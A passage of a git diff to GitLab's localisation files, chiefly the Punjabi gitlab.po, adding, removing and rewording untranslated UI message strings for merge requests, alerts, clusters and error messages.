+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 459b84f0e43..9c84359c181 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:47\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
